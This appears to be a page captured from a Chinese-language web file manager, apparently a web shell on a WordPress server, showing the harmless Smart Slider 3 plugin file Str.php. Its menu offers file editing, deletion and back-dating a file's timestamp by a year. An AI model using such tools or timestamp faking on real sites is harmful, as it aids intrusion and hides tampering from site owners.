文件操作 - Str.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/smart-slider-3/Nextend/Framework/Misc/Str.php
编辑文件内容
<?php namespace Nextend\Framework\Misc; use Nextend\Framework\Misc\StringPhp\MultiByte; use Nextend\Framework\Misc\StringPhp\SingleByte; use Nextend\Framework\Misc\StringPhp\StringInterface; use Nextend\Framework\Pattern\SingletonTrait; class Str { use SingletonTrait; /** * @var StringInterface */ private static $engine; protected function init() { if (function_exists('mb_strpos')) { self::$engine = new MultiByte(); } else { self::$engine = new SingleByte(); } } public static function strpos($haystack, $needle, $offset = 0) { return self::$engine->strpos($haystack, $needle, $offset); } public static function substr($string, $start, $length = null) { return self::$engine->substr($string, $start, $length); } public static function strlen($string) { return self::$engine->strlen($string); } } Str::getInstance();
修改文件时间
将文件时间修改为当前时间的前一年
删除文件